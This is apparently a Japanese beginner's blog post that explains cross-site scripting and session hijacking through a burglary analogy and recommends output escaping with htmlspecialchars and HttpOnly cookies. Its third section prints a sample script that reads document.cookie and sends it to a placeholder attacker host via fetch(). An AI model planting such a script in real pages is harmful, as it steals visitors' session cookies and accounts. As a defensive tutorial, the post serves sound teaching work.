あなたのサイトが「合鍵」を配っている?XSSとセッション乗っ取りの恐怖
こんにちは!今日は、Webサイトのセキュリティにおいて最も有名でありながら、いまだに多くの場所で猛威を振るっている「クロスサイトスクリプティング(XSS)」についてお話しします。
「XSS?なんだか難しそうな名前…」と思うかもしれませんが、実はこれ、「あなたのサイトが、知らないうちに泥棒に合鍵を配ってしまう」という、とても恐ろしい現象のことなんです。
新人のIT担当者の方や、これからWeb開発を深く学びたい方に向けて、泥棒(攻撃者)がどのような手口で侵入してくるのか、そしてどうやって防げばいいのかを、家の防犯に例えて優しく解説していきますね。
—
1. 家の鍵と「セッションID」の関係
まずは、Webサイトにおける「ログイン」の仕組みをイメージしてください。
あなたが一度IDとパスワードを入力してログインすると、Webサイトはあなたのブラウザに「この人は本人ですよ」という証明書を発行します。これが「セッションID」と呼ばれるものです。
家で例えるなら、セッションIDは「玄関の鍵」です。一度鍵をもらえば、毎回顔パスで家(サイト)に入れますよね。泥棒にとって、この鍵を盗むことは、あなたの家(アカウント)に自由に出入りするための最大の目的になります。
—
2. XSS(クロスサイトスクリプティング)の仕組み
XSSとは、簡単に言えば「あなたのWebサイトの掲示板や検索窓に、泥棒がこっそり『罠』を仕掛けること」です。
反射型XSS:通りすがりの人を騙す
例えば、検索結果画面に「〇〇の検索結果」と表示されるサイトがあるとします。泥棒は、検索窓に特殊な「罠のスクリプト」を仕込んだURLを作成し、SNSなどで誰かにクリックさせます。
被害者がそのリンクを踏むと、ブラウザは「検索ワード」だと思ってそのスクリプトを実行してしまい、裏で「鍵(セッションID)」を盗んで泥棒に送信してしまいます。
蓄積型XSS:掲示板に時限爆弾を仕掛ける
これが一番厄介です。掲示板の投稿欄に、泥棒が罠のスクリプトを書き込みます。そのページを見る人全員が被害者になります。「みんなが見る広場に時限爆弾を埋める」ようなものですね。
—
3. 実際にどうやって盗まれるの?(コードで見る恐怖)
泥棒は、以下のようなコードをサイトの入力欄に紛れ込ませます。
<!-- 泥棒が仕掛ける悪意あるスクリプトの例 -->
<script>
// ユーザーのCookie(鍵情報)を抜き取り、攻撃者のサーバーへ送信する
var stolenCookie = document.cookie;
fetch('https://attacker.com/steal?data=' + encodeURIComponent(stolenCookie));
</script>
もし、サイト側が入力された内容をそのまま表示してしまうと、ブラウザはこのコードを「サイト運営者が用意した正規の機能」だと勘違いして実行してしまいます。これがXSSの正体です。
—
4. どうやって防ぐ?(防犯対策の基本)
一歩ずつ対策を学んでいきましょう!守りの基本は大きく分けて2つです。
① 「入ってきたものを信じない」(エスケープ処理)
ユーザーが入力した内容を画面に表示する際、HTMLタグとして解釈されないように「無害化」します。これを「エスケープ処理」と呼びます。
例えば、PHPであれば htmlspecialchars 関数を使います。
<?php
// ユーザーが入力した内容を安全に表示する
$input = $_GET['search'];
// HTMLタグを無害な文字列に変換(例: <script> が <script> になる)
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
?>
② 「鍵を盗ませない」(HTTPOnly属性)
もし万が一XSSが起きてしまっても、被害を最小限にするための強力な盾があります。それがCookieの HttpOnly 属性です。
これを設定すると、JavaScriptからはCookieが読み取れなくなります。 つまり、泥棒がスクリプトを注入しても、鍵(セッションID)には指一本触れられなくなるのです。
サーバーの設定例(PHPの場合):
<?php
// セッションIDのCookieにHttpOnlyを付与する
session_set_cookie_params([
'lifetime' => 0,
'path' => '/',
'httponly' => true, // JavaScriptからのアクセスをブロック!
'secure' => true // HTTPS通信のみで送信
]);
session_start();
?>
—
最後に:セキュリティは「継続」がすべて
「エスケープ処理」と「HttpOnly属性」。この2つを徹底するだけで、Webサイトの安全性は劇的に向上します。
セキュリティに「絶対」はありませんが、鍵をかける回数を増やし、隙を減らすことはできます。まずは今日から、自分の開発しているサイトで「ユーザーが入力した内容が、そのまま画面に出力されていないか?」をチェックすることから始めてみてください。
一歩ずつ、安全なWebの世界を作っていきましょう!応援しています。
コメント